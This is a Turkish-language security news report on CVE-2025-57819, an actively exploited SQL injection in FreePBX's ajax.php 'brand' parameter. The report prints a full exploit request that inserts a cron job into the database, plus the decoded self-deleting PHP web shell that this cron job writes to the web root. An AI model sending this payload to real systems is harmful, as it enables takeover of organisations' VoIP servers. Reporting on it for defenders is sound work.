FreePBX’teki kritik bir SQL enjeksiyon güvenlik açığı, dünya çapındaki VoIP altyapısı için önemli bir tehdit olarak ortaya çıktı ve saldırganların veritabanı içeriğini değiştirmesine ve rastgele kod yürütmesine olanak sağladı.
Açık kaynaklı Asterisk VoIP platformu etrafında inşa edilmiş, yaygın olarak kullanılan bir PBX sistemi olan FreePBX, kuruluşlara telekomünikasyon altyapısını yönetmek için web tabanlı yönetim yetenekleri sağlar.
CVE-2025-57819 olarak tanımlanan güvenlik açığı, kötü niyetli aktörlerin, özellikle sistemin veritabanı yönetim işlevlerini hedef alarak, güvenlik açığı bulunan web uygulaması parametreleri aracılığıyla SQL komutları enjekte etmesine olanak tanıyor.
Tehdit aktörleri, karmaşık veritabanı manipülasyon teknikleri yoluyla FreePBX kurulumlarını tehlikeye atmak için bu güvenlik açığından aktif olarak yararlanıyor.
Saldırı vektörü, yetersiz giriş temizleme işleminin “marka” parametresi aracılığıyla SQL enjeksiyonuna izin verdiği sistemin ajax.php uç noktasını kullanır.
Saldırganlar, cron_jobs veritabanı tablosuna yetkisiz girişler ekleyen SQL yüklerini içeren kötü amaçlı GET istekleri hazırlayarak, ele geçirilen sistem içinde kalıcı erişim mekanizmalarını etkili bir şekilde oluşturur.
Internet Storm Center analistleri, saldırganların sistemin tamamını ele geçirmek için bu kusurdan yararlandığını gözlemleyerek bu güvenlik açığını aktif istismar kampanyalarında tespit etti.
Bu istismar girişimleri, basit veritabanı manipülasyonunun ötesine geçen, tespitten kaçınırken yetkisiz erişimi sürdürmek için kalıcılık ve gizlilik unsurlarını birleştiren gelişmiş teknikleri göstermektedir.
Veritabanı Manipülasyonu ve Kod Yürütme Mekanizması
Yararlanma metodolojisi, ajax.php isteklerindeki savunmasız marka parametresi aracılığıyla özenle hazırlanmış SQL ifadelerinin FreePBX veritabanına enjekte edilmesini içerir.
Tipik bir istismar yükü şu şekilde görünür: –
GET /admin/ajax[.]php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d ]/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --Kötü amaçlı yük, FreePBX’in zamanlanmış görev yönetimi için kullandığı cron_jobs tablosuna yeni bir giriş ekler. Base64 kodlu komutun kodu çözüldüğünde aşağıdakileri içeren bir PHP betiğini ortaya çıkarır: –
[ [?] php header ( 'x_poc: CVE-2025-57819'); echo [shell _exec] (' uname - a'); unlink (__ [FILE] __); ? ]Bu teknik, FreePBX’in cron iş yönetim sistemini kullanarak veritabanı manipülasyonunu doğrudan kod yürütmeye dönüştürür, adli analizden kaçmak için kendi kendini silme mekanizmalarını uygularken sistem komutlarını yürüten web’den erişilebilen PHP dosyaları oluşturur.
Daha Fazla Anında Güncelleme Almak için Bizi Google Haberler, LinkedIn ve X’te Takip Edin, CSN’yi Google’da Tercih Edilen Kaynak olarak ayarlayın.
